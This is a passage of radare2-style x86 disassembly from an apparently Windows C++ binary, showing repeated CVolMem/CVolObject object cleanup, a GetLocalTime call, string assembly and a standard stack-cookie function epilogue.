mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0xf0]
push eax
call fcn.00402690
mov byte [ebp - 4], 0x98
lea eax, [ebp - 0x494]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x9a
mov eax, dword [ebp - 0x488]
test eax, eax
je 0x404bba
push eax
mov eax, dword [ebp - 0x494]
lea ecx, [ebp - 0x494]
call dword [eax + 0xc]
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x484], 0
mov byte [ebp - 4], 0x98
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x96
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9b
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x9d
mov eax, dword [ebp - 0x4b4]
test eax, eax
je 0x404c29
push eax
mov eax, dword [ebp - 0x4c0]
lea ecx, [ebp - 0x4c0]
call dword [eax + 0xc]
mov dword [ebp - 0x4b4], 0
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4b0], 0
mov byte [ebp - 4], 0x9b
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x95
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9e
lea eax, [ebp - 0x4ec]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xa0
mov eax, dword [ebp - 0x4e0]
test eax, eax
je 0x404c98
push eax
mov eax, dword [ebp - 0x4ec]
lea ecx, [ebp - 0x4ec]
call dword [eax + 0xc]
mov dword [ebp - 0x4e0], 0
mov dword [ebp - 0x4d8], 0
mov dword [ebp - 0x4dc], 0
mov byte [ebp - 4], 0x9e
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x94
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa1
lea eax, [ebp - 0x518]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xa3
mov eax, dword [ebp - 0x50c]
test eax, eax
je 0x404d07
push eax
mov eax, dword [ebp - 0x518]
lea ecx, [ebp - 0x518]
call dword [eax + 0xc]
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x508], 0
mov byte [ebp - 4], 0xa1
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x93
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa5
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xa7
mov eax, dword [ebp - 0x2a4]
test eax, eax
je 0x404d76
push eax
mov eax, dword [ebp - 0x2b0]
lea ecx, [ebp - 0x2b0]
call dword [eax + 0xc]
mov dword [ebp - 0x2a4], 0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x2a0], 0
mov byte [ebp - 4], 0xa5
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x91
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa8
lea eax, [ebp - 0x544]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xaa
mov eax, dword [ebp - 0x538]
test eax, eax
je 0x404de5
push eax
mov eax, dword [ebp - 0x544]
lea ecx, [ebp - 0x544]
call dword [eax + 0xc]
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x534], 0
mov byte [ebp - 4], 0xa8
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x90
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xab
lea eax, [ebp - 0x570]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xad
mov eax, dword [ebp - 0x564]
test eax, eax
je 0x404e54
push eax
mov eax, dword [ebp - 0x570]
lea ecx, [ebp - 0x570]
call dword [eax + 0xc]
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x55c], 0
mov dword [ebp - 0x560], 0
mov byte [ebp - 4], 0xab
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x8f
mov eax, dword [ebp - 0xe4]
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
test eax, eax
jne 0x404eab
cmp dword [ebp - 0xcc], 0
mov eax, 0x43be60
cmovne eax, dword [ebp - 0xd4]
mov ecx, eax
call fcn.00413340
lea ecx, [ebp - 0x420]
call fcn.00403030
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0xae
cmp dword [0x4483b0], 0
jne 0x404ee2
mov dword [0x4483b0], 1
call esi
push eax
call fcn.00424ca9
add esp, 4
call fcn.00424c88
and eax, 0x80000007
jns 0x404ef3
dec eax
or eax, 0xfffffff8
inc eax
lea edx, [eax + 5]
lea ecx, [ebp - 0x3f4]
call fcn.0040ce70
mov byte [ebp - 4], 0xaf
lea edx, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x3c8]
call fcn.00415e60
add esp, 4
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0x1e4]
push eax
call fcn.00413990
mov esi, eax
mov byte [ebp - 4], 0xb1
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x1c]
mov edx, esi
push ecx
lea ecx, [ebp - 0x1c8]
call fcn.00405910
mov ebx, eax
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x39c]
call fcn.0040b550
mov edi, eax
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x2ec]
call fcn.00403030
lea edx, [ebp - 0x2ec]
mov dword [ebp - 0x40], 0x10
xor ecx, ecx
mov esi, eax
call fcn.00413010
push edi
mov edx, esi
lea ecx, [ebp - 0x370]
call fcn.00415e60
mov byte [ebp - 4], 0xb5
mov edx, eax
push 0x43d51c
lea ecx, [ebp - 0x344]
call fcn.00415fd0
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0xb6
mov ecx, ebx
push dword [ebp - 0x34]
call fcn.00414710
push eax
mov edx, esi
lea ecx, [ebp - 0x318]
call fcn.00415e60
mov byte [ebp - 4], 0xb7
mov edx, eax
push str.__aa_
lea ecx, [ebp - 0x5ac]
call fcn.00415fd0
add esp, 8
mov byte [ebp - 4], 0xb8
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x404ffa
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x404ffa
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.00413580
add esp, 4
mov byte [ebp - 4], 0xb9
lea eax, [ebp - 0x59c]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xbb
mov eax, dword [ebp - 0x590]
test eax, eax
je 0x405038
push eax
mov eax, dword [ebp - 0x59c]
lea ecx, [ebp - 0x59c]
call dword [eax + 0xc]
mov dword [ebp - 0x590], 0
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x58c], 0
mov byte [ebp - 4], 0xb9
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb7
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xbc
lea eax, [ebp - 0x308]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xbe
mov eax, dword [ebp - 0x2fc]
test eax, eax
je 0x4050a7
push eax
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
call dword [eax + 0xc]
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f8], 0
mov byte [ebp - 4], 0xbc
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb6
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xbf
lea eax, [ebp - 0x334]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xc1
mov eax, dword [ebp - 0x328]
test eax, eax
je 0x405116
push eax
mov eax, dword [ebp - 0x334]
lea ecx, [ebp - 0x334]
call dword [eax + 0xc]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x324], 0
mov byte [ebp - 4], 0xbf
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb5
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xc2
lea eax, [ebp - 0x360]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xc4
mov eax, dword [ebp - 0x354]
test eax, eax
je 0x405185
push eax
mov eax, dword [ebp - 0x360]
lea ecx, [ebp - 0x360]
call dword [eax + 0xc]
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x350], 0
mov byte [ebp - 4], 0xc2
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb4
mov eax, 0x10
mov dword [ebp - 0x40], eax
and eax, 0xffffffef
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0xc5
lea eax, [ebp - 0x2dc]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xc7
mov eax, dword [ebp - 0x2d0]
test eax, eax
je 0x405202
push eax
mov eax, dword [ebp - 0x2dc]
lea ecx, [ebp - 0x2dc]
call dword [eax + 0xc]
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2cc], 0
mov byte [ebp - 4], 0xc5
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb3
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xc8
lea eax, [ebp - 0x38c]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xca
mov eax, dword [ebp - 0x380]
test eax, eax
je 0x405271
push eax
mov eax, dword [ebp - 0x38c]
lea ecx, [ebp - 0x38c]
call dword [eax + 0xc]
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x37c], 0
mov byte [ebp - 4], 0xc8
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb2
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb1
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xcb
mov eax, dword [ebp - 0x1bc]
test eax, eax
je 0x4052d7
push eax
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1c8]
call dword [eax + 0xc]
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b8], 0
mov byte [ebp - 4], 0xb1
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb0
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xcc
mov eax, dword [ebp - 0x1d8]
test eax, eax
je 0x40532f
push eax
mov eax, dword [ebp - 0x1e4]
lea ecx, [ebp - 0x1e4]
call dword [eax + 0xc]
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1d4], 0
mov byte [ebp - 4], 0xb0
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xcd
lea eax, [ebp - 0x3b8]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xcf
mov eax, dword [ebp - 0x3ac]
test eax, eax
je 0x405390
push eax
mov eax, dword [ebp - 0x3b8]
lea ecx, [ebp - 0x3b8]
call dword [eax + 0xc]
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a8], 0
mov byte [ebp - 4], 0xcd
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xaf
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xd0
lea eax, [ebp - 0x3e4]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xd2
mov eax, dword [ebp - 0x3d8]
test eax, eax
je 0x4053ff
push eax
mov eax, dword [ebp - 0x3e4]
lea ecx, [ebp - 0x3e4]
call dword [eax + 0xc]
mov dword [ebp - 0x3d8], 0
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x3d4], 0
mov byte [ebp - 4], 0xd0
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xae
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xd3
lea eax, [ebp - 0x410]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xd5
mov eax, dword [ebp - 0x404]
test eax, eax
je 0x40546e
push eax
mov eax, dword [ebp - 0x410]
lea ecx, [ebp - 0x410]
call dword [eax + 0xc]
mov dword [ebp - 0x404], 0
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x400], 0
mov byte [ebp - 4], 0xd3
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x8f
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xd6
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xe0], vtable.CVolMem.0
mov byte [ebp - 4], 0xd8
mov eax, dword [ebp - 0xd4]
test eax, eax
je 0x4054dd
push eax
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
call dword [eax + 0xc]
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xd0], 0
mov byte [ebp - 4], 0xd6
mov dword [ebp - 0xe0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - 0xf0], vtable.CVolObject.0
mov dword [ebp - 4], 0xd9
lea eax, [ebp - 0xb4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xb4], vtable.CVolMem.0
mov byte [ebp - 4], 0xdb
mov eax, dword [ebp - 0xa8]
test eax, eax
je 0x40554f
push eax
mov eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0xb4]
call dword [eax + 0xc]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov byte [ebp - 4], 0xd9
mov dword [ebp - 0xb4], vtable.CVolObject.0
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov dword [ebp - 0xc4], vtable.CVolObject.0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f8ed
mov esp, ebp
pop ebp
ret